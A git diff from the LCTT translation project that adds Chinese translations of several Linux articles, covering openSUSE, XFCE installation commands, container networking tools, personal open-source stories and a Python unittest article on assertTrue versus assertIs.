googler 可能并不是对每个人都是必要和渴望的,对于一些不想打开浏览器进行 google 搜索或者就是想泡在终端窗口里面的人来说,这是一个很棒的工具。你认为呢? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/review-googler-linux/ + +作者:[Munif Tanjim][a] +译者:[LinuxBars](https://github.com/LinuxBars) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/munif/ +[1]: https://github.com/jarun +[2]: http://elinks.or.cz/ +[3]: http://links.twibright.com/ +[4]: http://lynx.browser.org/ +[5]: https://github.com/jarun/googler#faq +[6]: https://asciinema.org/a/85019 +[7]: https://en.wikipedia.org/wiki/Unix-like diff --git a/published/201609/20160917 5 REASONS WHY YOU SHOULD BE USING OPENSUSE.md b/published/201609/20160917 5 REASONS WHY YOU SHOULD BE USING OPENSUSE.md new file mode 100644 index 0000000000..7093db2dbe --- /dev/null +++ b/published/201609/20160917 5 REASONS WHY YOU SHOULD BE USING OPENSUSE.md @@ -0,0 +1,90 @@ +你该选择 openSUSE 的五大理由 +=============== + +[![Reasons why you should use OpenSUSE](https://itsfoss.com/wp-content/uploads/2016/09/why-opensuse-is-best.jpg)](https://itsfoss.com/wp-content/uploads/2016/09/why-opensuse-is-best.jpg) + +多数的的桌面 Linux 用户都会选择三种发行版本:Debian/Ubuntu、Fedora 或者 Arch Linux。但是今天,我将给出你需要使用 openSUSE 的五大理由。 + +相比其他的 Linux 发行版,我总能在 [openSUSE](https://www.opensuse.org/) 上看到一些令人耳目一新的东西。我说不太好,但它总是如此的闪亮和个性鲜明。这绿色的大蜥蜴是看起来如此的令人惊叹!但这并不是 openSUSE **即便不是最好也是要比其它发行版更好**的原因! + +请别误解我。我在各种场合用过许多不同的 Linux 发行版,同时也很敬佩在这些发行版背后默默工作的开发者,是他们让计算变成一件快乐的事情。但是 openSUSE 一直让人感觉,嗯,令人崇敬——你是不是也这样觉得? + +### openSUSE 比其他 Linux 发行版要好的五大理由 + +你是不是认为我在说 openSUSE 是最好的 Linux 发行版?不,我并不是要表达这个意思。其实没有任何一个 Linux 发行版是最好的。它真的可以满足你寻找 “灵魂伴侣” 的需求。 + +但在这里,我准备给大家说说,openSUSE 比其他发行版做得要好的五件事。如下: + +#### #1 社区规则 + +openSUSE 是一个典型的社区驱动型项目。我经常看到很多用户在升级后抱怨开发人员改变了他们喜欢的发行版。但在 openSUSE 不是这样,openSUSE 是纯社区驱动的项目,并且任何时候都朝着用户所希望的方向发展。 + +#### #2 系统的健壮性 + +另外一个是操作系统的集成程度。我可以在同一个 openSUSE 系统上安装所有的[最好的 Linux 桌面环境](https://itsfoss.com/best-linux-desktop-environments/),而在 Ubuntu 上则因为系统的稳定性,坚决不允许用户这样做。而这恰好体现了一个系统的健壮程度。因此,对于那些喜欢自己动手完成每一件事的用户,openSUSE 还是很诱人的。 + +#### #3 易于安装软件 + +在 Linux 的世界里有很多非常好用的包管理工具。从 Debian 的 apt-get 到 [Fedora](https://itsfoss.com/fedora-24-review/) 的 DNF,它们无不吸引着用户,而且在这些发行版成为流行版本的过程中扮演着重要角色。 + +openSUSE 同样有一个将软件传递到桌面的好方法。[software.opensuse.org](https://software.opensuse.org/421/en) 是一个 Web 界面,你可以用它从仓库中获取安装软件。你所需要做的就是打开这个链接 (当然,是在 openSUSE 系统上),在搜索框中输入你想要的软件,点击“直接安装”即可。就是这么简单,不是吗? + +听起来就像是在使用 Google 商店一样,是吗? + +#### #4 YAST + +毫不夸张的说,[YaST](https://en.opensuse.org/Portal:YaST) (LCTT 译注: YaST 是 openSUSE 和 SUSE Linux 企业版的安装和配置工具) 绝对是世界上有史以来**操作系统**上最好的控制中心。并且毫无疑问地,你可以使用它来操控系统上的一切:网络、软件升级以及所有的基础设置等。无论是 openSUSE 的个人版或是 SUSE Linux 企业版,你都能在 YaST 的强力支撑下,轻松的完成安装。总之,一个工具,方便而无所不能。 + +#### #5 开箱即用的极致体验 + +SUSE 的团队是 Linux 内核中最大的贡献者团体之一。他们辛勤的努力也意味着,他们有足够的经验来应付不同的硬件条件。 + +有着良好的硬件支持,一定会有很棒的开箱即用的体验。 + +#### #6 他们做了一些搞笑视频 + +等等,不是说好了是五个理由吗?怎么多了一个! + +但因为 [Abhishek](https://itsfoss.com/author/abhishek/) 逼着我加进来,因为他们做的 Linux 的搞笑视频才使 openSUSE 成为了最好的发行版。 + +开了个玩笑,不过还是看看 [Uptime Funk](https://www.youtube.com/watch?v=zbABy9ul11I),你将会知道[为什么 SUSE 是最酷的 Linux ](https://itsfoss.com/suse-coolest-linux-enterprise/)。 + +### LEAP 还是 TUMBLEWEED?该用哪一个! + +如果你现在想要使用 openSUSE 了,让我来告诉你,这两个 openSUSE 版本:LEAP 和 TUMBLEWEED。哪一个更合适你一点。 + +![Choice](https://itsfoss.com/wp-content/uploads/2016/09/Untitled-design-2.jpg) + +尽管两者都提供了相似的体验和相似的环境,但还是需要你自行决定安装那个版本到你硬盘上。 + +#### OPENSUSE : LEAP + +[openSUSE Leap](https://en.opensuse.org/Portal:Leap) 是一个普通的大众版本,基本上每八个月更新一次。目前最新的版本是 openSUSE 42.1。它所有的软件都是稳定版,给用户提供最顺畅的体验。 + +对于家庭用户、办公和商业用户,是再合适不过的了。它合适那些想要一个稳定系统,而不必事事亲为,可以让他们安心工作的用户。只要进行正确的设置之后,你就不必担心其他事情,然后专心投入工作就好。同时,我也强烈建议图书馆和学校使用 Leap。 + +#### OPENSUSE: TUMBLEWEED + +[Tumbleweed version of openSUSE](https://en.opensuse.org/Portal:Tumbleweed) 是滚动式更新的版本。它定期更新系统中所使用的软件集的最新版本。对于想要使用最新软件以及想向 openSUSE 做出贡献的开发者和高级用户来说,这个版本绝对值得一试。 + +需要指出的是,Tumbleweed 并不是 Leap 的 beta 和 测试版本 。它是最新锐的 Linux 稳定发行版。 + +Tumbleweed 给了你最快的更新,但是仅在开发者确定某个包的稳定性之后才行。 + +### 说说你的想法? + +请在下方评论说出你对 openSUSE 的想法。如果你已经在考虑使用 openSUSE,你更想用 Leap 和 Tumbleweed 哪一个版本呢? + +来,让我们开干! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/why-use-opensuse/ + +作者:[Aquil Roshan][a] +译者:[GHLandy](https://github.com/GHLandy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/aquil/ diff --git a/published/201609/20160917 How to Install Latest XFCE Desktop in Ubuntu 16.04 and Fedora 22-24.md b/published/201609/20160917 How to Install Latest XFCE Desktop in Ubuntu 16.04 and Fedora 22-24.md new file mode 100644 index 0000000000..7afebc2dbf --- /dev/null +++ b/published/201609/20160917 How to Install Latest XFCE Desktop in Ubuntu 16.04 and Fedora 22-24.md @@ -0,0 +1,85 @@ +如何在 Ubuntu 16.04 和 Fedora 22-24 上安装最新的 XFCE 桌面? +========================== + +Xfce 是一款针对 Linux 系统的现代化[轻型开源桌面环境][1],它在其他的类 Unix 系统上,比如 Mac OS X、 Solaries、 *BSD 以及其它几种上也能工作得很好。它非常快并以简洁而优雅的用户界面展现了用户友好性。 + +在服务器上安装一个桌面环境有时还是有用的,因为某些应用程序可能需要一个桌面界面,以便高效而可靠的管理。 Xfce 的一个卓越的特性是其内存消耗等系统资源占用率很低,因此,如果服务器需要一个桌面环境的话它会是首选。 + +### XFCE 桌面的功能特性 + +另外,它的一些值得注意的组件和功能特性列在下面: + +- Xfwm 窗口管理器 +- Thunar 文件管理器 +- 用户会话管理器:用来处理用户登录、电源管理之类 +- 桌面管理器:用来设置背景图片、桌面图标等等 +- 应用管理器 +- 它的高度可连接性以及一些其他次要功能特性 + +Xfce 的最新稳定发行版是 Xfce 4.12,它所有的功能特性和与旧版本的变化都列在了[这儿][2]。 + +#### 在 Ubuntu 16.04 上安装 Xfce 桌面 + +Linux 发行版,比如 Xubuntu、Manjaro、OpenSUSE、Fedora Xfce Spin、Zenwalk 以及许多其他发行版都提供它们自己的 Xfce 桌面安装包,但你也可以像下面这样安装最新的版本。 + +``` +$ sudo apt update +$ sudo apt install xfce4 +``` + +等待安装过程结束,然后退出当前会话,或者你也可以选择重启系统。在登录界面,选择 Xfce 桌面,然后登录,截图如下: + +![](http://www.tecmint.com/wp-content/uploads/2016/09/Select-Xfce-Desktop-at-Login.png) + +![](http://www.tecmint.com/wp-content/uploads/2016/09/XFCE-Desktop.png) + + +#### 在 Fedora 22-24 上安装 Xfce 桌面 + +如果你已经有一个安装好的 Linux 发行版 Fedora,想在上面安装 xfce 桌面,那么你可以使用如下所示的 yum 或 dnf 命令。 + +``` +-------------------- 在 Fedora 22 上 -------------------- +# yum install @xfce +-------------------- 在 Fedora 23-24 上 -------------------- +# dnf install @xfce-desktop-environment +``` + + +安装 Xfce 以后,你可以从会话菜单选择 Xfce 登录或者重启系统。 + +![](http://www.tecmint.com/wp-content/uploads/2016/09/Select-Xfce-Desktop-at-Fedora-Login.png) + +![](http://www.tecmint.com/wp-content/uploads/2016/09/Install-Xfce-Desktop-in-Fedora.png) + + +如果你不再想要 Xfce 桌面留在你的系统上,那么可以使用下面的命令来卸载它: + +``` +-------------------- 在 Ubuntu 16.04 上 -------------------- +$ sudo apt purge xfce4 +$ sudo apt autoremove +-------------------- 在 Fedora 22 上 -------------------- +# yum remove @xfce +-------------------- 在 Fedora 23-24 上 -------------------- +# dnf remove @xfce-desktop-environment +``` + + +在这个简单的入门指南中,我们讲解了如何安装最新版 Xfce 桌面的步骤,我相信这很容易掌握。如果一切进行良好,你可以享受一下使用 xfce —— 这个[ Linux 系统上最佳桌面环境][1]之一。 + +此外,如果你再次回来,你可以通过下面的反馈表单和我们始终保持联系。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-xfce-desktop-in-ubuntu-fedora/ + +作者:[Aaron Kili][a] +译者:[ucasFL](https://github.com/ucasFL) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/aaronkili/ +[1]: http://www.tecmint.com/best-linux-desktop-environments/ +[2]: https://www.xfce.org/about/news/?post=1425081600 diff --git a/published/201610/20160415 A four year, action-packed experience with Wikipedia.md b/published/201610/20160415 A four year, action-packed experience with Wikipedia.md new file mode 100644 index 0000000000..f76494adf0 --- /dev/null +++ b/published/201610/20160415 A four year, action-packed experience with Wikipedia.md @@ -0,0 +1,73 @@ +在维基激动人心的四年 +======================================================= + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/wikipedia_checkuser_lead.jpg?itok=4lVDjSSM) + +我自认为自己是个奥迪亚的维基人。我通过写文章和纠正文章错误给很多维基项目贡献了[奥迪亚(Odia)][1]知识(这是在印度的[奥里萨邦][2]的主要语言),比如维基百科和维基文库,我也为用印地语和英语写的维基文章做贡献。 + +![](https://opensource.com/sites/default/files/resize/1st_day_at_odia_wikipedia_workshop_image_source_facebook-200x133.jpg) + +我对维基的爱从我第 10 次考试(像在美国的 10 年级学生的年级考试)之后看到的英文维基文章[孟加拉解放战争][3]开始。一不小心我打开了印度维基文章的链接,并且开始阅读它。在文章左边有用奥迪亚语写的东西,所以我点击了一下, 打开了一篇在奥迪亚维基上的 [ଭାରତ/Bhārat][4] 文章。发现了用母语写的维基让我很激动! + +![](https://opensource.com/sites/default/files/resize/introducing_wikipedia_at_google_io_image_by_gdg_bhubaneswar-251x166.png) + +一个邀请读者参加 2014 年 4 月 1 日召开的第二届布巴内斯瓦尔研讨会的旗帜广告引起了我的好奇。我过去从来没有为维基做过贡献,只用它做过研究,我并不熟悉开源和社区贡献流程。再加上,当时我只有 15 岁。我注册了,在研讨会上有很多语言爱好者,他们全比我大。尽管我害怕,我父亲还是鼓励我去参与。他起了非常重要的作用—他不是一个维基媒体人,和我不一样,但是他的鼓励给了我改变奥迪亚维基的动力和参加社区活动的勇气。 + +我觉得关于奥迪亚语言和文学的知识很多需要改进,有很多错误的观念和知识缺口,所以,我帮助组织关于奥迪亚维基的活动和和研讨会,我完成了如下列表: + +* 在奥迪亚维基发起 3 次主要的 edit-a-thons :2015 年妇女节、2016年妇女节、abd [Nabakalebara edit-a-thon 2015][5] +* 在全印度发起了征集[檀车节][6]图片的比赛 +* 在谷歌的两大事件([谷歌I/O大会扩展][7]和谷歌开发节)中代表奥迪亚维基 +* 在2015 [Perception][8] 和第一次 [Open Access India][9] 会议 + +![](https://opensource.com/sites/default/files/resize/bengali_wikipedia_10th_anniversary_cc-by-sa4.0_biswaroop_ganguly-251x166.jpg) + +我在维基项目当编辑直到去年( 2015 年 1 月)为止,当我出席[孟加拉语维基百科的十周年会议][10]和[毗瑟挐][11]活动时,[互联网和社会中心][12]主任,邀请我参加[培训师培训计划][13]。我的开始超越奥迪亚维基,为[GLAM][14]的活动举办聚会和培训新的维基人。这些经验告诉我作为一个贡献者该如何为社区工作。 + +[Ravi][15],在当时印度维基的总监,在我的旅程也发挥了重要作用。他非常相信我,让我参与到了 [Wiki Loves Food][16],维基共享中的公共摄影比赛,组织方是 [2016 印度维基会议][17]。在 2015 的 Loves Food 活动期间,我的团队在维基共享中加入了 10000+ 采用 CC BY-SA 协议的图片。Ravi 进一步坚定了我的信心,和我分享了很多关于维基媒体运动的信息,以及他自己在 [奥迪亚维基百科 13 周年][18]的经历。 + +不到一年后,在 2015 年十二月,我成为了网络与社会中心的[获取知识计划][19]的项目助理( CIS-A2K 运动)。我自豪的时刻之一是在印度普里的研讨会,我们给奥迪亚维基媒体社区带来了 20 个新的维基人。现在,我在一个名为 [WikiTungi][20] 普里的非正式聚会上指导着维基人。我和这个小组一起工作,把奥迪亚 Wikiquotes 变成一个真实的计划项目。在奥迪亚维基我也致力于缩小性别差距。[八个女编辑][21]也正帮助组织聚会和研讨会,参加 [Women's History month edit-a-thon][22]。 + +在我四年短暂而令人激动的旅行之中,我也参与到 [维基百科的教育项目][23],[通讯团队][24],两个全球的 edit-a-thons: [Art and Feminsim][25] 和 [Menu Challenge][26]。我期待着更多的到来! + +我还要感谢 [Sameer][27] 和 [Anna][28](都是之前维基百科教育计划的成员)。 + +------------------------------------------------------------------------------ + +via: https://opensource.com/life/16/4/my-open-source-story-sailesh-patnaik + +作者:[Sailesh Patnaik][a] +译者:[hkurj](https://github.com/hkurj) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/saileshpat +[1]: https://en.wikipedia.org/wiki/Odia_language +[2]: https://en.wikipedia.org/wiki/Odisha +[3]: https://en.wikipedia.org/wiki/Bangladesh_Liberation_War +[4]: https://or.wikipedia.org/s/d2 +[5]: https://or.wikipedia.org/s/toq +[6]: https://commons.wikimedia.org/wiki/Commons:The_Rathyatra_Challenge +[7]: http://cis-india.org/openness/blog-old/odia-wikipedia-meets-google-developer-group +[8]: http://perception.cetb.in/events/odia-wikipedia-event/ +[9]: https://opencon2015kolkata.sched.org/speaker/sailesh.patnaik007 +[10]: https://meta.wikimedia.org/wiki/Bengali_Wikipedia_10th_Anniversary_Celebration_Kolkata +[11]: https://www.facebook.com/vishnu.vardhan.50746?fref=ts +[12]: http://cis-india.org/ +[13]: https://meta.wikimedia.org/wiki/CIS-A2K/Events/Train_the_Trainer_Program/2015 +[14]: https://en.wikipedia.org/wiki/Wikipedia:GLAM +[15]: https://www.facebook.com/ravidreams?fref=ts +[16]: https://commons.wikimedia.org/wiki/Commons:Wiki_Loves_Food +[17]: https://meta.wikimedia.org/wiki/WikiConference_India_2016 +[18]: https://or.wikipedia.org/s/sml +[19]: https://meta.wikimedia.org/wiki/CIS-A2K +[20]: https://or.wikipedia.org/s/xgx +[21]: https://or.wikipedia.org/s/ysg +[22]: https://or.wikipedia.org/s/ynj +[23]: https://outreach.wikimedia.org/wiki/Education +[24]: https://outreach.wikimedia.org/wiki/Talk:Education/News#Call_for_volunteers +[25]: https://en.wikipedia.org/wiki/User_talk:Saileshpat#Barnstar_for_Art_.26_Feminism_Challenge +[26]: https://opensource.com/life/15/11/tasty-translations-the-open-source-way +[27]: https://www.facebook.com/samirsharbaty?fref=ts +[28]: https://www.facebook.com/anna.koval.737?fref=ts diff --git a/published/201610/20160510 Aspiring sys admin works his way up in Linux.md b/published/201610/20160510 Aspiring sys admin works his way up in Linux.md new file mode 100644 index 0000000000..9ce7f09138 --- /dev/null +++ b/published/201610/20160510 Aspiring sys admin works his way up in Linux.md @@ -0,0 +1,38 @@ +有理想,有追求的系统管理员会在 Linux 中成长 +=============================================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/BIZ_workplay.png?itok=uQqFssrf) + +我第一次看到运行着的 Linux 操作系统是在我的首份工作时,大约是在 2001 年。当时我在澳大利亚的一家汽车业供应商担任客户经理,和公司的 IT 工程师共用一间办公室。他做了一台 CD 刻录工作站(一个可以同时刻录好几张 CD 的巨大的东西),然后我们可以把汽车零配件目录刻录到 CD 并送给客户。刻录工作站最初是为 Windows 设计的,但是他一直没能让刻录机正常工作。最终他放弃在 Windows 上使用的念头并且换成在 Linux 上使用,刻录机完美工作了。 + +对我来说,Linux 的一切都是晦涩难懂的。大部分工作都在看起来像 DOS(LCTT 译注:磁盘操作系统,早期的个人电脑操作系统) 的命令行下完成,但它更加强大(后来我才认识到这一点)。我从 1993 年就开始使用 Mac 电脑,在那个时候,在我看来命令行界面有点过时了。 + +直到几年后——我记得是 2009 年,我才真正的认识 Linux。那时我已经移民荷兰并且在一家零售供应商那里找到了工作。那是一个只有 20 人的小公司,我除了做一个关键客户经理的正常工作,还无意间成了个一线 IT 技术支持。只要东西有了故障,他们总是会在花大价钱请外部 IT 顾问之前先来询问我。 + +我的一个同事因为点击了一封似乎来自 DHL(LCTT 译注:全球著名的邮递和物流集团 Deutsche Post DHL 旗下公司) 的电子邮件所附带的一个 .exe 文件而受到了一次网络钓鱼攻击。(是的,这的确发生了。)他的电脑被完全入侵了,他什么事都做不了。甚至完全格式化电脑都不起作用,好像病毒只靠它丑陋的脑袋就能活下来。我在后来才了解到这种情况可能是病毒被复制到了 MBR(主引导记录)里。而此时,为了节约成本,公司已经终止了和外部 IT 顾问的合同。 + +于是我帮助同事安装了 Ubuntu 操作系统让他继续工作,这的确很有效。他的电脑再次嗡嗡的运转了,而且我找到了他们工作必需的所有应用。我承认,从某些方面来说这不是最优雅的解决方案,不过他(包括我)喜欢这个操作系统的流畅度和稳定性。 + +然而我的同事在 Windows 世界形成的观念根深蒂固,他无法习惯新的使用方式,开始不停的抱怨。(很耳熟吧?) + +虽然我的同事不能忍受新的使用方式,但我发现到这对我这个 Mac 用户已经不是一个问题。它们之间有很多相似点,我被迷住了。所以我在我工作用的笔记本电脑上又安装了一个 Ubuntu 组成双系统,我的工作效率提高了,让机器做我想做的事也变得更容易。从那时起我有规律的使用了几个 Linux 发行版,但我最喜欢 Ubuntu 和 Elementary。 + +当时我失业了,因此我有大量的时间给自己充电。由于我一直对 IT 行业很感兴趣,所以我致力于研究对 Linux 操作系统的管理。但是目前得到一个展示学识的机会太难了,因为我多年来所学的 95% 都不能简单的通过邮寄一份简历展示出来。我需要一个入职面试来展示我所知道的东西,所以我进行了 Linux 认证得到证书,希望能给我一些帮助。 + +我对开源做贡献已经有好一阵子了。刚开始时是为 xTuple ERP(LCTT 译注:世界领先的开源 ERP 软件)做翻译工作(英语译德语),现在已经转为在 Twitter 上做 Mozilla 的“客户服务”,提交 bug 报告等。我为自由和开源软件做推广宣传(取得了不同程度的成功)并且尽我所能在财政方面支持一些 FOSS(LCTT 译注:自由及开源软件)倡导组织(DuckDuckGo、bof.nl、EFF、GIMP、LibreCAD、维基百科以及其他)。目前我也在准备设立一个本地的隐私咖啡馆(LCTT 译注:这是荷兰的一个旨在强化网上个人隐私安全的咖啡馆/志愿者组织,参见: https://privacycafe.bof.nl/)。 + +除此之外,我已经开始写我的第一本书。这应该是一本涉及计算机隐私和安全领域的简易实用手册,适用于普通计算机用户,我希望它能在今年年底自主出版。(这本书遵循知识共享许可协议 CC。)至于这本书的内容,正如你预料的那样我会详细解释为什么隐私如此重要,以及“我没有什么需要隐藏“这种思想错的有多么离谱。但是最主要的部分还是指导读者如何避免让人讨厌的广告追踪,加密你的硬盘和邮件,通过 OTR(LCTT 译注:一种安全协议,为即时通讯提供加密保护)网上聊天,如何使用 TOR(LCTT 译注:第二代洋葱路由,可以在因特网上进行匿名交流)等等。虽然起初说这是一个手册,但我尽量会使用随和的语调来叙述,并且会根据精彩的我亲身经历的故事让它更加通俗易懂。 + +我依然爱着我所有的 Mac,只要买得起(主要因为它那伟大的构造),我还会使用它们,但是我的 Linux 一直在虚拟机里完成我的几乎所有的日常工作。没有什么不可思议的,不是自夸:文档编辑(LibreOffice 和 Scribus),建立我的网页和博客(Wordpress 和 Jekyll),编辑图片(Shotwell 和 Gimp),听音乐(Rhythmbox),以及几乎其他任何工作。 + +不论我最后怎么找到工作,Linux 永远都是我必用的操作系统。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/life/16/5/my-linux-story-rene-raggl + +作者:[Rene Raggl][a] +译者:[fuowang](https://github.com/fuowang) +校对:[wxy](https://github.com/wxy) + +[a]: https://opensource.com/users/rraggl diff --git a/published/201610/20160511 4 Container Networking Tools to Know.md b/published/201610/20160511 4 Container Networking Tools to Know.md new file mode 100644 index 0000000000..30df23eada --- /dev/null +++ b/published/201610/20160511 4 Container Networking Tools to Know.md @@ -0,0 +1,61 @@ +4 个你需要了解的容器网络工具 +=========== + +![](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/network-crop.jpeg?itok=Na1tb9aR) + +> [Creative Commons Zero][1] + +有如此之多的各种新的云计算技术、工具和技术需要我们跟进,到底从哪里开始学习是一个艰难的决定。这一系列[下一代云计算技术][2]的文章旨在让你快速了解新兴和快速变化领域的重大项目和产品,比如软件定义网络(SDN)、容器,以及其交叉领域:容器网络。 + +对于企业容器部署,容器和网络之间的关系仍然是一个挑战。容器需要网络功能来连接分布式应用程序。根据一篇最新的[企业网络星球][3]的文章,一部分的挑战是“以隔离的方式部署容器,在提供隔离自己容器内数据的所需功能的同时,保持有效的连接性”。 + +流行的容器平台 [Docker][4],使用了软件定义虚拟网络来连接容器与本地网络。此外,它使用 Linux 的桥接功能和虚拟可扩展局域网(VXLAN)技术,可以在同一 Swarm 或容器集群内互相沟通。Docker 的插件架构也支持其他网络管理工具来管理容器网络,比如下面的提到的工具。 + +容器网络上的创新使得容器可以跨主机连接到其他容器上。这使开发人员可以在开发环境中,在一个主机上部署一个容器来运行一个应用,然后可以过渡到测试环境中,进而到生产环境中,使应用可以持续集成,敏捷开发,快速部署。 + +容器网络工具有助于实现容器网络的可扩展性,主要是通过: + +1. 使复杂的,多主机系统能够跨多个容器主机进行分发。 +2. 允许构建跨越多个公有云和私有云平台上的大量主机的容器系统。 + +![](https://www.linux.com/sites/lcom/files/styles/floated_images/public/john-willis_k.jpg?itok=lTsH9eqI) + +*John Willis speaking 在 Open Networking Summit 2016.* + +要获取更多信息,查看 [Docker 网络教程][5],是由 Brent Salisbury 和 John Willis 在最近的 [Open Networking Summit (ONS)][6]讲演的。更多关于 ONS 的演讲内容可以在[这里][7]找到。 + +你应该知道的容器网络工具和项目包括下述: + +- [Calico][8] -- Calico 项目(源自 [Metaswitch][9])利用边界网关协议(BGP)和集成的云编排系统来保证虚拟机和容器之间的 IP 通信安全。 +- [Flannel][10] -- Flannel (之前叫 rudder) 源自 [CoreOS][11],它提供了一个覆盖网络,可以作为一个现有的 SDN 解决方案的替代品。 +- [Weaveworks][12] -- Weaveworks 项目管理容器的工具包括 [Weave Net][13]、Weave Scope、Weave Flux。Weave Net 是一种用于构建和部署 Docker 容器的网络工具。 +- [Canal][14] -- 就在本周,CoreOS 和 Tigera 宣布了新的开源项目 Canal 的信息。据其声明,Canal 项目旨在结合部分 Calico 和 Flannel,“构造网络安全策略到网络架构和云管理平台之中”。 + +你可以通过 Linux 基金会的免费“云基础设施技术”课程来了解更多关于容器管理、软件定义网络和其他下一代云技术,这是一个在 edX 上提供的大规模公开在线课程。[课程注册目前已经开放][15],课程内容于 6 月开放。 + +------ + +via: https://www.linux.com/news/4-container-networking-tools-know + +作者:[AMBER ANKERHOLZ][a] +译者:[Bestony](https://github.com/Bestony) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linux.com/users/aankerholz +[1]: https://www.linux.com/licenses/category/creative-commons-zero +[2]: https://www.linux.com/news/5-next-gen-cloud-technologies-you-should-know +[3]: http://www.enterprisenetworkingplanet.com/datacenter/datacenter-blog/container-networking-challenges-for-the-enterprise.html +[4]: https://docs.docker.com/engine/userguide/networking/dockernetworks/ +[5]: https://youtu.be/Le0bEg4taak +[6]: http://events.linuxfoundation.org/events/open-networking-summit +[7]: https://www.linux.com/watch-videos-from-ons2016 +[8]: https://www.projectcalico.org/ +[9]: http://www.metaswitch.com/cloud-network-virtualization +[10]: https://coreos.com/blog/introducing-rudder/ +[11]: https://coreos.com/ +[12]: https://www.weave.works/ +[13]: https://www.weave.works/products/weave-net/ +[14]: https://github.com/tigera/canal +[15]: https://training.linuxfoundation.org/linux-courses/system-administration-training/introduction-to-cloud-infrastructure-technologies?utm_source=linuxcom&utm_medium=article&utm_campaign=cloud%20mooc%20article%201 diff --git a/published/201610/20160512 Python unittest - assertTrue is truthy - assertFalse is falsy.md b/published/201610/20160512 Python unittest - assertTrue is truthy - assertFalse is falsy.md new file mode 100644 index 0000000000..71cb8fed2c --- /dev/null +++ b/published/201610/20160512 Python unittest - assertTrue is truthy - assertFalse is falsy.md @@ -0,0 +1,176 @@ +Python 单元测试:assertTrue 是真值,assertFalse 是假值 +=========================== + +在这篇文章中,我们将介绍单元测试的布尔断言方法 `assertTrue` 和 `assertFalse` 与身份断言 `assertIs` 之间的区别。 + +### 定义 + +下面是目前[单元测试模块文档][1]中关于 `assertTrue` 和 `assertFalse` 的说明,代码进行了高亮: + + +> `assertTrue(expr, msg=None)` + +> `assertFalse(expr, msg=None)` + +>> 测试该*表达式*是真值(或假值)。 + +>> 注:这等价于 + +>> `bool(expr) is True` + +>> 而不等价于 + +>> `expr is True` + +>> (后一种情况请使用 `assertIs(expr, True)`)。 + +[Mozilla 开发者网络中定义 `真值`][2] 如下: + +> 在一个布尔值的上下文环境中能变成“真”的值 + +在 Python 中等价于: + +``` +bool(expr) is True +``` + +这个和 `assertTrue` 的测试目的完全匹配。 + +因此该文档中已经指出 `assertTrue` 返回真值,`assertFalse` 返回假值。这些断言方法从接受到的值构造出一个布尔值,然后判断它。同样文档中也建议我们根本不应该使用 `assertTrue` 和 `assertFalse`。 + +### 在实践中怎么理解? + +我们使用一个非常简单的例子 - 一个名称为 `always_true` 的函数,它返回 `True`。我们为它写一些测试用例,然后改变代码,看看测试用例的表现。 + +作为开始,我们先写两个测试用例。一个是“宽松的”:使用 `assertTrue` 来测试真值。另外一个是“严格的”:使用文档中建议的 `assertIs` 函数。 + +``` +import unittest + +from func import always_true + + +class TestAlwaysTrue(unittest.TestCase): + + def test_assertTrue(self): + """ + always_true returns a truthy value + """ + result = always_true() + + self.assertTrue(result) + + def test_assertIs(self): + """ + always_true returns True + """ + result = always_true() + + self.assertIs(result, True) +``` + +下面是 `func.py` 中的非常简单的函数代码: + +``` +def always_true(): + """ + I'm always True. + + Returns: + bool: True + """ + return True +``` + +当你运行时,所有测试都通过了: + +``` +always_true returns True ... ok +always_true returns a truthy value ... ok + +---------------------------------------------------------------------- +Ran 2 tests in 0.004s + +OK +``` + +开心ing~ + +现在,某个人将 `always_true` 函数改变成下面这样: + +``` +def always_true(): + """ + I'm always True. + + Returns: + bool: True + """ + return 'True' +``` + +它现在是用返回字符串 `"True"` 来替代之前反馈的 `True` (布尔值)。(当然,那个“某人”并没有更新文档 - 后面我们会增加难度。) + +这次结果并不如开心了: + +``` +always_true returns True ... FAIL +always_true returns a truthy value ... ok + +====================================================================== +FAIL: always_true returns True +---------------------------------------------------------------------- +Traceback (most recent call last): + File "/tmp/assertttt/test.py", line 22, in test_is_true + self.assertIs(result, True) +AssertionError: 'True' is not True + +---------------------------------------------------------------------- +Ran 2 tests in 0.004s + +FAILED (failures=1) +``` + +只有一个测试用例失败了!这意味着 `assertTrue` 给了我们一个误判(false-positive)。在它不应该通过测试时,它通过了。很幸运的是我们第二个测试是使用 `assertIs` 来写的。 + +因此,跟手册上了解到的信息一样,为了保证 `always_true` 的功能和更严格测试的结果保持一致,应该使用 `assertIs` 而不是 `assertTrue`。 + +### 使用断言的辅助方法 + +使用 `assertIs` 来测试返回 `True` 和 `False` 来冗长了。因此,如果你有个项目需要经常检查是否是返回了 `True` 或者 `False`,那们你可以自己编写一些断言的辅助方法。 + +这好像并没有节省大量的代码,但是我个人觉得提高了代码的可读性。 + +``` +def assertIsTrue(self, value): + self.assertIs(value, True) + +def assertIsFalse(self, value): + self.assertIs(value, False) +``` + +### 总结 + +一般来说,我的建议是让测试越严格越好。如果你想测试 `True` 或者 `False`,听从[文档][3]的建议,使用 `assertIs`。除非不得已,否则不要使用 `assertTrue` 和 `assertFalse`。 + +如果你面对的是一个可以返回多种类型的函数,例如,有时候返回布尔值,有时候返回整形,那么考虑重构它。这是代码的异味。在 Python 中,抛出一个异常比使用 `False` 表示错误更好。 + 